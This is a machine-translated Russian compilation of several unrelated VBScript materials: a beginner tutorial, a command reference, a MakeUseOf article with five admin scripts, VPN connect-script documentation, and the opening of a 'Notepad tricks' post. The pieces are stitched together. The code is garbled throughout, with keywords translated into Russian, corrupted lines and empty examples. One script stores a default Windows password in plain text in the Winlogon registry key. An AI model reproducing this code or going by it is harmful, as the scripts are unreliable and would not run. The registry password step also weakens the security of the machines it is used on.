VBScript — это просто язык сценариев. Таким образом, он не может запускать свой код самостоятельно. Для его размещения требуется более крупный язык программирования.

В этом руководстве вы узнаете больше о

Прямо сейчас существует 3 среды, в которых могут выполняться сценарии VB.

  1. IIS (Internet Information Server) — веб-сервер Microsoft
  2. WSH (Windows Script Host) — собственная среда хостинга ОС Windows
  3. IE (Internet Explorer) — Простейшая среда хостинга, которую мы можем использовать для запуска VBScript

Как создать простой VBScript?

Для создания и запуска кода VBScript в этом руководстве вам понадобятся всего 2 простых инструмента:

  1. Internet Explorer — любая версия, но можно использовать IE6 и выше.
  2. Text Editor — вы можете использовать обычные текстовые редакторы, такие как Notepad ++, Microsoft Expression Web или даже Notepad, для написания кода VBScript.

Давайте начнем с разработки простой программы VB Script.

В этой серии руководств мы встроим наш код VBScript в очень простой HTML-код.

Таким образом, мы можем увидеть VBScript в действии, запустив определенный HTML-файл в веб-браузере Internet Explorer.

VBScript Пример:

Откройте текстовый редактор (здесь используется Блокнот.Вы можете использовать любой текстовый редактор, который хотите) и добавить следующие строки кода.

 

 Мой первый код VBScript !!! 






 

Теперь ваш текстовый редактор будет выглядеть следующим образом (внешний вид и макет могут отличаться в зависимости от используемого текстового редактора):

Простая программа VBscript

В этой программе следующие разделы составляют HTML-шаблон.

 

 Мой первый код VBScript !!! 






 

Только раздел, начинающийся с

Недостаток VBScript

Основным недостатком VBScript является то, что большинство браузеров, кроме Internet Explorer, не обрабатывают код VBScript. Другими словами, , если на вашем сайте есть посетители, которые используют веб-браузер, отличный от Internet Explorer, например Chrome, Firefox или Opera, то VBScript не будет полезен.

Более того, VBScript не будет работать на компьютерах, работающих под управлением операционных систем, отличных от Microsoft Windows, включая Linux, Mac и т. Д.

Как и любой другой язык сценариев, VBScript за годы претерпел множество изменений.

Теперь VB Script используется как язык сценариев по умолчанию для ASP.

КЛЮЧЕВЫЕ ОБУЧЕНИЯ:

  • VB Script - это язык сценариев, разработанный Microsoft.
  • Это облегченная версия Microsoft Visual Basic, а синтаксис VBScript очень похож на синтаксис Visual Basic.
  • Программа
  • VBScript должна быть размещена в любой из этих трех сред:
  1. IIS (Internet Information Server) - программное обеспечение собственного веб-сервера Microsoft
  2. WSH (Windows Scripting Host) - собственная среда хостинга ОС Windows
  3. IE (Internet Explorer) - простейшая среда хостинга, которую мы можем использовать для запуска VBScript
  • VB Script может работать только на компьютерах с Windows и в браузере Internet Explorer.
  • Самыми простыми инструментами, которые можно использовать для создания и запуска VBScript, являются IE и любой текстовый редактор.
  • Команды VBScript - SS64.com

    • Все переменные VBScript являются вариантами, функции преобразования устанавливают вариант подтип (внутренний флаг, указывающий тип данных).

    A
    Abs ( номер ) Абсолютное (положительное) значение числа .
    .AppActivate Активировать рабочую команду.
    .Приложение BrowseForFolder / Открыть.
    Массив ( el1, el2, el3 ) Добавить значения в переменную массива.
    Аргументы Аргументы командной строки.
    Asc ( Строка ) Вернуть код ASCII для строки .
    AscB ( Строка ) Вернуть байтовый код символа.
    AscW ( Строка ) Вернуть код Unicode для строки .
    B
    Звуковой сигнал см. StdOut.Write
    .BrowseForFolder Предлагает пользователю выбрать папку.
    С
    Вызов подпрограммы ( аргумента ) или аргументы подпрограммы
    CBool ​​( выражение ) Преобразование выражения в логическое значение (Истина / Ложь) •
    CByte ( выражение ) Преобразовать выражение в байт (0-255) •
    CCur ( выражение ) Преобразование выражения в валюту (числовую) •
    CDate ( экспрессия ) Преобразовать выражение в дату •
    CDbl ( экспрессия ) Преобразовать выражение в Double (до 1. 79x10 308 ) •
    код (код код ) Вернуть строковый символ для ChrCode (код ASCII)
    ChrB ( Кодекс ) Вернуть строковый символ для ChrCode (байтовый код)
    ChrW ( Кодекс ) Вернуть строковый символ для ChrCode (Unicode / DBCS)
    CInt ( выражение ) Преобразовать выражение в целое число •
    CLng ( выражение ) Преобразовать выражение в длинное •
    CSng ( выражение ) Преобразование выражения в одинарное •
    CStr ( выражение ) Преобразование выражения в строку •
    .CreateObject Создайте объект автоматизации / выполните внешнюю команду.
    .CreateShortcut Создать ярлык.
    cscript Запустите файл VBScript .vbs.
    .Текущий каталог Получить или изменить текущий каталог.
    D
    Дата () Текущая системная дата.
    DateAdd Добавьте временной интервал к дате.
    DateDiff Возвращает временной интервал между двумя датами.
    DatePart Вернуть часть заданной даты.
    DateSerial Возвращает дату из числовых значений года, месяца и дня.
    DateValue Вернуть дату из строкового выражения.
    день ( дата ) Вернуть компонент дня date (1-31)
    Разм. Объявите новую переменную или переменную массива.
    Do..Loop Повторить блок операторов.
    Приводы Карта диска .MapNetworkDrive - .Enum -.Удалить
    E
    .Эхо Выводить текст на экран, также StdOut.Write /.Popup
    конец Завершить процедуру или кодовый блок.
    Переменные среды Развернуть -. Удалить / Удалить.
    Escape ( Строка ) Возвращает только символы ASCII из строки Unicode.
    Eval ( expr ) Вычислить выражение.
    .Exec Выполните команду.
    Выполнить Выполните одно или несколько операторов.
    Exp ( n ) Возврат е (база из натурального бревна) в степени n .
    Выход Немедленно выйти из блока кода.
    Ф.
    FileSystemObject Работа с дисками, папками и файлами.
    Фильтр Создайте массив, отфильтровав существующий массив.
    Fix ( номер ) Вернуть целую часть числа.
    Для...Следующий Повторить блок операторов заданное количество раз.
    для каждого ... Перебирать элементы в коллекции или массиве.
    Формат Валюта Отформатируйте число с помощью символа валюты.
    FormatNumber Отформатируйте число.
    FormatPercent Отформатируйте число с помощью символа%.
    FormatDateTime Отформатируйте значение даты и времени.
    Функция Определите функциональную процедуру.
    G
    GetLocale () Верните региональный LocaleID.
    .GetObject Получите объект автоматизации.
    H
    Hex (номер ) Вернуть шестнадцатеричное значение числа .
    час ( время ) ч. Возвращает часовой компонент времени .
    Я
    Если..Тогда Условно выполнить блок операторов.
    Блок ввода Запрос на ввод данных пользователем.
    InStr Найдите одну строку в другой.
    InStrRev Найдите одну строку в другой, начиная с конца.
    Int ( номер ) Вернуть целую часть числа.
    IsArray ( имя переменной ) Является ли имя переменной массивом?
    IsDate ( выражение ) Является ли выражение DateTime?
    IsEmpty ( выражение ) Инициализировано ли выражение , выражение ?
    IsNull ( выражение ) выражение NULL?
    IsNumeric ( выражение ) Является ли выражение числовым?
    IsObject ( выражение ) Является ли выражение объектом?
    Присоединиться к Объедините содержимое массива в одну переменную.
    л
    LBound Вернуть наименьший индекс для массива.
    LCase ( Строка ) Вернуть Строка в нижнем регистре.
    Левый ( Строка , лен ) Вернуть крайний левый len символа строки .
    LeftB ( String , len ) Вернуть крайний левый len байта из строки .
    Лен ( Строка ) Возвращает длину строки в символах.
    ЛенБ ( Струна ) Возвращает длину строки в байтах.
    Журнал ( номер ) Возвращает натуральный логарифм числа .
    .LogEvent Зарегистрируйте элемент в журнале событий.
    LTrim ( Строка ) Удалите все начальные пробелы из строкового выражения.
    M
    .MapNetworkDrive Схема проезда.
    Середина Вернуть середину строки.
    Минуты ( время ) Возвращает минутную составляющую времени.
    Месяц ( дата ) Вернуть компонент месяца для даты .
    Месяц Преобразует номер месяца в описательный месяц.
    MsgBox Показать сообщение диалогового окна.
    .Сеть Доступ к сетевым ресурсам.
    Сейчас Вернуть текущую дату и время.
    O
    При ошибке Обработка ошибок.
    Явный вариант Принудительно определить все переменные
    п. .AddPrinterConn
    .AddWindowsPrConn
    Добавить подключение принтера.
    .ПринтерEnumConnections Список подключений принтера.
    .УстановитьПринтер по умолчанию Установить принтер по умолчанию.
    .Удалите соединение принтера Удалите соединение с принтером.
    Частный VarName Объявить локальную переменную / переменную массива.
    Public VarName Объявить общедоступную переменную / переменную массива.
    Q
    .Бросить Выйти.
    R
    Произвольно (номер ) Инициализировать генератор случайных чисел.
    .ReadLine Подтвердите ввод текста пользователем.
    ReDim Изменить размер динамического массива.
    RegExp Объект поиска регулярного выражения.
    .RegDelete Реестр, удалить.
    .RegRead Реестр, читай.
    .RegWrite Реестр, пиши.
    REM Добавить комментарий.
    Заменить Найдите и замените текст.
    RGB ( Красный , Зеленый , Синий) Вернуть системный цветовой код.
    Правый ( Строка , лен ) Вернуть крайний правый len символа строки .
    RightB ( String , len ) Вернуть крайний правый len байта из строки .
    Rnd Вернуть случайное число.
    Круглый Округлить число до n десятичных разряда.
    RTrim ( Строка ) Удалите все конечные пробелы из строкового выражения.
    . Запустить Выполните команду.
    S
    Секунда ( раз ) Вернуть второй компонент времени .
    Выбрать ... Корпус Условно выполнить блок операторов.
    .SendKeys Макросы клавиатуры.
    Установить переменную = объект Назначьте ссылку на объект.
    SetLocale ( LocaleID ) Установите региональный идентификатор языка
    Sgn ( номер ) Знак числа.
    .Ракушка Оболочка. Объекты / методы приложения.
    .ShellExecute Запустить сценарий / приложение в оболочке Windows.
    .CreateShortcut Создайте ярлык.
    .Сон Пауза.
    Космос Вернуть строку, состоящую из пробелов.
    .Специальные папки Путь к рабочему столу, меню «Пуск», «Программы» ...
    Сплит Разобрать строку значений с разделителями в массив.
    кв. ( номер ) Корень квадратный.
    StdOut.Read Получите ввод пользователя из командной строки.
    StdOut.Написать Выводить текст на экран, а также подавать звуковой сигнал.
    StrComp Сравните две строки.
    Строка Создайте строку, состоящую из одного повторяющегося символа.
    StrReverse Переверните строку.
    Подчиненный Объявить подпроцедуру.
    т
    Время () Текущее системное время.
    Таймер () Количество секунд после полуночи.
    TimeSerial Создайте значение времени из часов, минут и секунд
    TimeValue Преобразует строку в значение времени.
    Обрезка ( Строка ) Удалить начальные и конечные пробелы из строки
    Название типа Тип возвращаемой переменной (вариантный подтип).
    U
    UBound Вернуть наибольший индекс для измерения массива
    UCase ( Строка ) Прописные буквы Строки
    UnEscape ( Str ) Вернуть символы Юникода из экранированной строки ASCII
    Вт
    будний день Возврат дня недели (1-7)
    WeekdayName Вернуть названный день недели
    Пока...Венд Условно повторить блок операторов
    с Назначьте несколько свойств объекта
    Год ( дата ) Вернуть компонент года для даты (1-12)
    'Замечание Добавить комментарий

    5 полезных сценариев VB Windows для автоматизации использования компьютера

    Независимо от того, являетесь ли вы ИТ-аналитиком или обычным пользователем компьютера, существует множество задач, которые вам, возможно, придется часто выполнять на своем ПК. Сценарии VB - это уменьшенные программы Visual Basic, которые служат в качестве сценариев Windows, которые могут делать что угодно - от получения важной информации об оборудовании вашего компьютера до остановки и запуска служб или сброса сетевой карты.

    Можно научиться делать все эти отдельные вещи обычным способом или делать их с помощью командных файлов.Но сценарии VB лучше, чем пакетные сценарии, потому что они более гибкие. Если вы храните следующие скрипты в общем месте, к которому можно быстро добраться, когда вам это нужно, вы можете выполнить эти задачи за очень короткое время. Вы просто дважды щелкаете сценарий, отвечаете на запрос, и задача выполняется.

    Взгляните на следующие сценарии VB Windows, и если вы увидите какие-либо из них, которые хотите использовать, просто скопируйте и вставьте сценарий в Блокнот или другой инструмент для заметок по кодированию и сохраните его как файл WSF.

    Подготовьте свои сценарии Windows

    Каждый из описанных ниже скриптов будет запускаться с помощью двойного щелчка, если вы назвали файл с расширением .WSF, а также включили код в начале:

      <задание> 

    Это гарантирует, что Windows распознает язык, на котором написан ваш скрипт, и правильно его обработает.

    1. Используйте сценарии Windows для получения информации о компьютере

    Windows предлагает нечто, называемое WMI или инструментарием управления Windows, который предоставляет вашему сценарию интерфейс для доступа к компонентам операционной системы. Фактически вы можете запускать запросы к WMI, чтобы получить текущую информацию о вашей системе. Microsoft предлагает полный список всех категорий запросов, которые вы можете направить к системе.

    Мы рассмотрели, как использовать VBA для извлечения информации о компьютере в Excel, но вы можете сделать то же самое, используя простой скрипт VB вне Excel.

    В этом примере мы собираемся запросить у системы информацию о процессоре (семейство, производитель и количество ядер), информацию о батарее (описание и состояние) и информацию о логическом диске (имя, оставшееся свободное пространство и общий размер). Затем мы выведем всю эту информацию в файл CSV для удобного просмотра.

    Первый шаг - настроить FileSystemObject, который вы будете использовать для вывода в файл CSV, и создать файл:

      Установить oFSO = CreateObject ("Scripting.FileSystemObject ") 
    sFile1 =" MyComputerInfo.csv "
    Установить oFile1 = oFSO.CreateTextFile (sFile1, 1)

    Следующим шагом будет настройка запроса WMI и его выполнение:

      strQuery = "SELECT Family, Manufacturer, NumberOfCores FROM Win32_Processor" 
    Установить colResults = GetObject ("winmgmts: //./root/cimv2") .ExecQuery (strQuery)

    Наконец, отсортируйте результаты и выведите информацию в файл CSV. Если вы хотите, чтобы ваш выходной файл выглядел лучше, добавьте к этому пара строк в начале:

      oFile1.WriteLine "Информация о процессоре" 
    oFile1.WriteLine "------"
    Для каждого objResult в colResults
    strResults = "Family:," + CStr (objResult.Family)
    oFile1.WriteLine strResults
    strResults = "Производитель :, "+ CStr (objResult.Manufacturer)
    oFile1.WriteLine strResults
    strResults =" Количество ядер:, "+ CStr (objResult.NumberOfCores)
    oFile1.WriteLine strResults
    Далее

    Если вы запустите свой код сейчас, ваш результат будет выглядеть следующим образом:

    Для следующих двух разделов вашего кода вы просто собираетесь повторить и изменить запрос, чтобы искать дополнительную информацию.Вот запрос информации о батарее:

      oFile1.WriteLine "" 
    strQuery = "SELECT Description, Status FROM Win32_Battery"
    Set colResults = GetObject ("winmgmts: //./root/cimv2") .ExecQuery (strQuery)
    oFile1.WriteLine "Информация о батарее
    oFile1.WriteLine"
    oFile1.WriteLine oFile1.WriteLine "------"
    Для каждого objResult В colResults
    strResults = "Status:," + CStr (objResult.Description)
    oFile1.WriteLine strResults
    strResults = "Описание:," + CStr (objResult. Статус)
    oFile1.WriteLine strResults
    Далее

    А вот следующий раздел для запроса логического диска:

      oFile1.WriteLine "" 
    strQuery = "Выбрать имя, свободное пространство, размер из Win32_LogicalDisk"
    Установить colResults = GetObject ("winmgmts: //./root/cimv2") .ExecQuery (strQuery)
    oFile Information "
    oFile1.WriteLine" ------ "
    'Определение логического дискового пространства
    для каждого objResult в colResults
    strResults =" Name:, "+ CStr (objResult.Имя)
    oFile1.WriteLine strResults
    strResults = "Свободное пространство:," + CStr (objResult.FreeSpace)
    oFile1.WriteLine strResults
    strResults = "Размер диска:" + CStr (objResultsLFiler
    str (objResult.Size)
    Следующий

    Наконец, не забудьте закрыть код, закрыв файл и установив для объектов значение «Nothing»:

      oFile1.Close 
    Set oFile1 = Nothing
    set colResults = Nothing
    strResults = ""

    Поместите весь этот код в свой новый.WSF-файл, запустите его, и вот как будет выглядеть ваш результат:

    Просто замените приведенные выше запросы любыми другими компьютерными устройствами или программным обеспечением, о котором вы хотите получить информацию, и вы можете получить полный системный отчет в любое время одним щелчком мыши.

    2. Остановка и запуск служб

    Бывают случаи, когда у некоторых служб возникают проблемы, и для их нормальной работы требуется всего лишь быстрый перезапуск.Это особенно актуально для ИТ, когда вы вынуждены запускать серверное программное обеспечение, которое иногда немного глючит.

    Если вы хотите сократить процесс перезапуска службы на минуту или около того, просто сохраните следующий скрипт в удобном месте. Вам будет предложено ввести имя службы, которую вы хотите перезапустить, и он сделает именно это.

    Поскольку для остановки и запуска служб требуются административные привилегии, вам необходимо разместить следующий код в начале вашего скрипта, чтобы предоставить вашему скрипту повышенные привилегии:

      Если не WScript.Arguments.Named.Exists ("elevate") Затем 
    CreateObject ("Shell.Application"). ShellExecute WScript.FullName _
    , "" "" & WScript.ScriptFullName & "" "/ elevate", "", "runas" , 1
    WScript.Quit
    End If

    Как только это будет сделано, добавьте остальную часть кода для запуска поля ввода для пользовательского ввода, запустите окно команд и отправьте ему команды net stop и net start:

      Установить cmdShell = CreateObject ("WScript.Shell") 
    strServiceName = Inputbox ("Inter Service to Stop", "Input Required")
    cmdShell.Запустите "cmd.exe"
    WScript.Sleep 1000
    cmdShell.SendKeys "net stop" + strServiceName
    cmdShell.SendKeys "{Enter}"
    WScript.Sleep 1000
    cmdShell.SendKeys "net start" + strServiceName
    cmd {Enter} "
    WScript.Sleep 1000
    cmdShell.SendKeys" Exit "
    cmdShell.SendKeys" {Enter} "

    Вот и все. Не нужно искать сервисный инструмент. Просто запустите этот сценарий и остановите и запустите любую службу за секунды.

    3.Изменить настройки реестра, пароль администратора по умолчанию

    С помощью следующего сценария мы убьем двух зайцев одним выстрелом. Этот сценарий покажет вам, как редактировать реестр с помощью сценария VB. Он также предоставит вам сценарий, который позволит вам установить имя пользователя и пароль Windows по умолчанию, отредактировав эти параметры реестра.

    Вот как это работает. Во-первых, поскольку для редактирования реестра требуются права администратора, вам необходимо настроить повышенные привилегии для вашего скрипта:

      Если не WScript.Arguments.Named.Exists ("elevate") Затем 
    CreateObject ("Shell.Application"). ShellExecute WScript.FullName _
    , "" "" & WScript.ScriptFullName & "" "/ elevate", "", "runas" , 1
    WScript.Quit
    End If

    Сначала запустите два поля ввода, чтобы спросить пользователя, какое имя пользователя и пароль использовать:

      strUserName = Inputbox («Введите имя пользователя по умолчанию», «Требуется ввод») 
    strPassword = Inputbox («Введите пароль по умолчанию», «Требуется ввод»)

    Затем настройте объект оболочки и запишите эти значения в соответствующие разделы реестра:

      Установить wshShell = CreateObject ("WScript.Shell ") 
    wshShell.RegWrite" HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ DefaultUserName ", strUserName," REG_SZ "
    wshShell.RegWrite" HKLM \ SOFTWARE \ Microsoft \ Winass NT \ CurrentVersion \ Microsoft \ Winass NT \ CurrentVersion \ strPassword, "REG_SZ"
    Установить wshShell = Nothing

    Вот и все. Метод «RegWrite» позволяет записывать любое значение в любой раздел реестра с помощью сценария VB Windows. Все, что вам нужно знать, - это правильный путь.

    Запустите сценарий и ответьте на запросы.

    Введенные вами значения будут вставлены прямо в настройки реестра, которые вы установили в скрипте.

    Поиграйте со сценарием и настройте его по своему вкусу. Вы можете редактировать любые ключи реестра, которые вам нравятся, так что будьте изобретательны!

    4. Сбросьте настройки сетевого подключения

    Сброс сетевого подключения с использованием сценариев VB - это то, о чем мы уже рассказывали здесь, в MakeUseOf.Следующая версия этого фактически уменьшена и намного проще в реализации. Вместо того, чтобы запрашивать отдельные сетевые карты, он сбрасывает все ваши активные подключения, что, надеюсь, решит любые проблемы с сетью, которые могут у вас возникнуть.

    Как и в случае с другими сценариями, которым требуются права администратора, вам необходимо добавить раздел в начале для повышенных привилегий. Скопируйте этот код из приведенного выше сценария.

    Затем создайте объект WMI и запросите у него список включенных сетевых адаптеров в вашей системе:

      strComputer = "."
    Установить objWMIService = GetObject (" winmgmts: \\ "& strComputer &" oot \ CIMV2 ")
    Установить colItems = objWMIService.ExecQuery (_
    " SELECT * FROM Win32_NetworkAdapter, где NetEnabled 917 = 'True' 900 "

    Наконец, пропустите все включенные адаптеры и сбросьте их:

      Для каждого объекта в столбцах 
    objItem.Disable
    WScript.Sleep 1000
    objItem.Enable
    Next

    Это приведет к сбросу всех ваших активных сетевых адаптеров, что часто является самым быстрым способом решения раздражающих сетевых проблем.Держите этот сценарий под рукой и пробуйте его в первую очередь каждый раз, когда у вас медленная сеть или другие странные сетевые проблемы.

    5. Проверьте связь с устройствами или веб-сайтами

    Я оставил свой любимый скрипт для Windows на VB напоследок. Это то, что я фактически настроил как запланированное задание на своем домашнем компьютере и запускал несколько раз в день, просто чтобы проверить, активен ли мой веб-сайт. У меня есть сценарий по электронной почте, если сайт не работает. Вы можете использовать этот же сценарий для мониторинга важных серверов или компьютеров в вашей сети и отправлять себе электронную почту каждый раз, когда ваш сценарий не может проверить связь с устройством.

    Сначала настройте сценарий для цели, которую вы хотите проверить, создайте объект оболочки, а затем запустите команду ping.

      strTarget = "topsecretwriters.com" 
    Установить WshShell = WScript.CreateObject ("WScript.Shell")
    Ping = WshShell.Run ("ping -n 1" & strTarget, 0, True)

    Используйте оператор Select Case, чтобы просмотреть результаты Ping и ответить соответствующим образом. Если результат возвращается как ноль, значит, вы знаете, что сайт (или сервер) в сети, и вам не нужно ничего делать.Если он возвращает «1», то эхо-запрос не удался, и вам нужно что-то сделать. В моем случае я отправляю электронное письмо, используя объект Windows CDO:

      Select Case Ping 
    Case 0
    Case 1
    Set objMessage = CreateObject ("CDO.Message")
    Set objConfig = CreateObject ("CDO.Configuration")
    objConfig.Load -1
    Set Flds = objConfig.Fields Flds
    .Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    .Item ("http://schemas.microsoft.com / cdo / configuration / smtpauthenticate ") = 1
    .Item (" http://schemas.microsoft.com/cdo/configuration/sendusername")="[email protected] "
    .Item (" http: // schemas.microsoft.com/cdo/configuration/sendpassword")="xxxxxxxxxxxxxxxxx "
    .Item (" http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.gmail.com "
    .Item ("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
    .Item (" http://schemas.microsoft.com/cdo/configuration/smtpserverport")=465
    . Обновление
    Конец С
    С комплектом objMessage
    .Configuration = objConfig
    .Subject = "Ваш сайт не в сети"
    .From = "[email protected]"
    .To = "[email protected]"
    .TextBody = "Эй, ваш сайт не в сети".
    . Отправить
    End With
    End Select

    Как только скрипт запустится и не сможет проверить связь с устройством или веб-сайтом, вы получите мгновенное сообщение.

    Это быстро, легко и эффективно!

    Использование сценариев VB Windows для управления компьютером

    Это всего лишь несколько примеров некоторых интересных вещей, которые вы можете делать с помощью сценариев VB для оптимизации использования вашего компьютера.Есть много других вещей, которые вы можете делать, например, автоматическое резервное копирование с помощью VB и Synctoy, автоматизация команд telnet или даже открытие и управление окнами приложений.

    Что вы автоматизировали на своем компьютере с помощью сценария Windows? Вы пишете свой, используя VB, или используете какой-либо другой инструмент, например PowerShell?

    15 команд командной строки Windows (CMD), которые вы должны знать

    Командная строка по-прежнему является мощным инструментом Windows.Вот самые полезные команды CMD, которые должен знать каждый пользователь Windows.

    Читать далее

    Об авторе Райан Дьюб (Опубликовано 942 статей)

    Райан имеет степень бакалавра электротехники.Он проработал 13 лет в области автоматизации, 5 лет в ИТ, а теперь работает инженером по приложениям. Бывший управляющий редактор MakeUseOf, он выступал на национальных конференциях по визуализации данных и выступал на национальном телевидении и радио.

    Более От Райана Дьюба
    Подпишитесь на нашу рассылку

    Подпишитесь на нашу рассылку технических советов, обзоров, бесплатных электронных книг и эксклюзивных предложений!

    Нажмите здесь, чтобы подписаться

    Запуск сценариев пакетной обработки / VBS при подключении / отключении

    Visacity Windows позволяет запускать пользовательские пакетные (.bat) или сценарии Visual Basic / VBS (.vbs) при подключении или отключении подключения. Это может позволить вам автоматизировать общие задачи, такие как подключение к файловым серверам, открытие веб-страниц, открытие приложений и управление любым приложением, которое поддерживает сценарии в пакетной или VBS.

    Visidity позволяет легко указать сценарии, запускаемые при подключении или отключении соединения, а также позволяет указывать разные сценарии для каждого соединения. Вы можете указать такой сценарий:

    1. Открыть окно настроек вязкости
    2. Выберите соединение, к которому вы хотите добавить скрипт, и нажмите кнопку «Редактировать».
    3. Перейдите на вкладку «Дополнительно».
    4. Нажмите кнопку «Выбрать» рядом с тем временем, когда вы хотите запустить скрипт, перейдите к скрипту на жестком диске и нажмите «Открыть».
    5. Нажмите «Сохранить».

    Visidity предлагает трижды запустить сценарий в течение цикла подключения. Перед подключением запустит сценарий, когда вы щелкнете мышью, чтобы установить соединение. Connected запустит сценарий, когда соединение установлено и активно, а Disconnected запустит сценарий, когда соединение завершит процедуру отключения.

    Visidity работает в вашей системе от имени стандартного пользователя, это означает, что сценарии или команды, для запуска которых требуются повышенные права или права администратора, работать не будут.Если вы хотите запускать сценарии, требующие повышения прав для правильной работы, у вас есть несколько вариантов. Самый простой способ - использовать повышенную вязкость, однако мы не рекомендуем этого делать и делаете это на свой страх и риск, так как это дает Visidity больший доступ к вашей системе, чем это необходимо в противном случае.

    В качестве альтернативы вы можете использовать систему сценариев вязкости. Вместо того, чтобы иметь сценарий Before Connected в Visidity, вы можете вместо этого запустить свой сценарий напрямую, повышая его, если требуется, а затем указать Visidity для подключения указанного соединения.

    Вы также можете использовать систему сценариев OpenVPN для запуска сценариев, требующих повышения прав, вы можете найти дополнительную информацию об этом в нашей документации по предотвращению сетевых утечек.

    Написать скрипт в Windows довольно просто. Следуйте инструкциям ниже, чтобы создать сценарий.

    1. Откройте блокнот, выбрав Пуск-> Программы-> Стандартные-> Блокнот.
    2. Должно появиться новое пустое окно. Введите в виде простого скрипта следующее:

      MsgBox "Hello There!"


    3. Перейдите в Файл-> Сохранить.
    4. Измените «Тип файла» на «Все файлы» и введите имя файла, а затем .vbs. Если вы создаете пакетный сценарий, добавьте вместо него .bat.
    5. Протестируйте сценарий, дважды щелкнув его в том месте, где вы его сохранили.

    При запуске Visidity 1.9 или более поздней версии можно получить доступ к определенным деталям VPN-соединения из ваших скриптов. Доступны следующие атрибуты:

    • displayName: отображаемое имя VPN-подключения.
    • ipv4Address: IPv4-адрес и маска подсети, назначенные VPN-соединению (если применимо).
    • ipv6Address: IPv6-адрес и префикс, назначенные VPN-соединению (если применимо).
    • serverIPAddress: IP-адрес VPN-сервера. Это может быть адрес IPv4 или IPv6.
    • интерфейс: сетевой интерфейс VPN-подключения (например, «utun10»).
    • имя пользователя: имя пользователя, используемое для аутентификации (если применимо).

    Доступ к этим элементам можно получить из пакетных сценариев, например, через стандартные переменные среды. Например, следующий фрагмент пакетного сценария отобразит эти сведения в отдельном окне командной строки:

     start "" cmd / c "echo Я являюсь сценарием подключения для подключения '% displayName%'. IPv4-адрес: '% ipv4Address%'. IPv6-адрес: '% ipv6Address%'. IP-адрес сервера: '% serverIPAddress % ". Сетевой интерфейс -"% interface% ". Было использовано имя пользователя"% username% ".& echo (& пауза "

    При запуске Visidity 1.9 или более поздней версии можно установить имя пользователя или имя пользователя и пароль для использования соединения.

    Чтобы предварительно ввести имя пользователя для отображения в диалоговом окне «Имя пользователя и пароль» для подключения, используйте следующее из пакетного сценария:

     @ эхо выкл.
    echo имя пользователя "My Username" 

    Чтобы предварительно ввести имя пользователя и пароль, которые будут использоваться для подключения и не появится диалоговое окно «Имя пользователя и пароль», используйте следующее из пакетного сценария:

     @ эхо выкл.
    echo userpass "Мое имя пользователя" "Мой пароль" 

    Котировки требуются только в том случае, если в выводе есть пробелы.Цитаты также могут быть включены в имя пользователя или пароль, экранируя их. Например:

     @ эхо выкл.
    userpass имя пользователя пароль 
     @echo off
    имя пользователя "\" Цитируемый \ "пользователь" 

    Ниже приведены примеры фрагментов сценария VBS или пакетной обработки для общих задач. Их можно комбинировать для создания ваших подключенных / отключенных скриптов.

    Смонтируйте сетевой диск

    Следующий пакетный сценарий можно использовать для подключения сетевого диска к удаленному файловому серверу.«Z:» можно заменить на любую нужную букву диска. Поместите следующий код в свой Connected скрипт.

    @ эхо выкл.
    чистое использование Z: \\ server \ share

    Поместите следующий код в сценарий Disconnected, чтобы отключить сетевой диск при разрыве VPN-соединения.

    @ эхо выкл.
    чистое использование Z: / удалить

    Показать сообщение пользователю

    Следующий сценарий VBS может использоваться для отображения сообщения пользователю при подключении.Его можно использовать для отображения приветственного сообщения, инструкций или даже условий использования вашего сервиса. Поместите следующий код в свой Connected Script.

    MsgBox "Привет!"

    Открыть веб-страницу

    Следующий сценарий VBS автоматически откроет веб-браузер пользователя по умолчанию и перейдет на указанную веб-страницу. Это может быть использовано для автоматического открытия веб-страницы интрасети компании, отображения веб-страницы приветствия и т. Д.

    URL = "http: // www.thesparklabs.com "
    Установить objShell = CreateObject ("Wscript.Shell")
    objShell.Run (URL)

    Закрыть программу

    Следующий сценарий VBS автоматически закрывает / завершает запущенный процесс при запуске. Это удобно, когда вы хотите закрыть программу, например, когда ваша VPN отключается. Просто замените «notepad.exe» ниже на имя исполняемого файла, который вы хотите убить. Здесь есть предостережение: Visacity должен работать с теми же привилегиями или выше, чем пользователь, запустивший приложение.

    Опция Явная
    Dim objWMIService, objProcess, colProcess
    Dim strComputer, strProcessKill
    strComputer = "."
    strProcessKill = "notepad.exe" "
    Установить objWMIService = GetObject ("winmgmts:" _
    & "{impersonationLevel = impersonate}! \\" _
    & strComputer & "\ root \ cimv2")
    Установить colProcess = objWMIService.ExecQuery _
    ("Выбрать * из Win32_Process, где Name =" & strProcessKill)
    Для каждого objProcess в colProcess
    objProcess.Завершить ()
    Далее
    WSCript.Echo "Только что убитый процесс" & strProcessKill _
    & "on" & strComputer
    WScript.Quit
    'Конец WMI, пример процесса уничтожения

    Трюки с блокнотом VBS - 8 полезных сценариев VBS в 2020 году - Techypaw

    С 1985 года Microsoft положительно использует Блокнот в Windows. Первый блокнот используется в Windows 1.0, и теперь блокнот ++ версии 7.6 отлично справляется.Практически все знают, что такое блокнот, и, несмотря на то, что это простое и функциональное приложение, оно действительно имеет большое влияние. В Блокноте концепция «без излишеств» доходит до тонкости. Я уже обсуждал классные трюки с Блокнотом в 2020 году. Он компенсирует минималистский блокнот для базового программирования, но ему не хватает возможностей обработки текста. Помимо основных текстовых функций, Блокнот может быть надежным хранилищем для старых языков программирования, таких как VBScript.

    Пользователи просто выполняют небольшие хитрости, что означает, что они могут создавать простые программы для персонализации работы с Windows.На самом деле существуют лучшие текстовые редакторы для всех, кто занимается программированием, но Блокнот - это текстовый редактор для всех (работающих под Windows).

    Пример использования:

    Я инженер-программист и ежедневно использую Блокнот для различных целей. По моему мнению, обычно 80% людей используют Блокнот только как текстовый редактор, они не знают его универсальных сфер, но как опытный, я говорю вам, что среди этих VBS есть много трюков с использованием Блокнота. - одна из самых "мозговых штурмов".Я собираюсь поделиться своим опытом использования « Notepad Tricks VBS »

    1. Сделайте говорящий компьютер

    1) Сначала введите следующий код в документ «Блокнот»:

    Dim Message, Speak

    Message = InputBox ( «Введите текст», «Говорите»)

    Set Speak = CreateObject («sapi.spvoice»)

    Speak.Speak Message

    2) Затем сохраните файл как «talk.vbs» или что-то еще (важно что вы сохранили его как файл .vbs).

    3) Затем дважды щелкните значок, чтобы открыть всплывающее окно.

    4) Введите текст в поле и посмотрите на отверстия для ушей.

    2. Превратите свою клавиатуру в фестиваль EDM

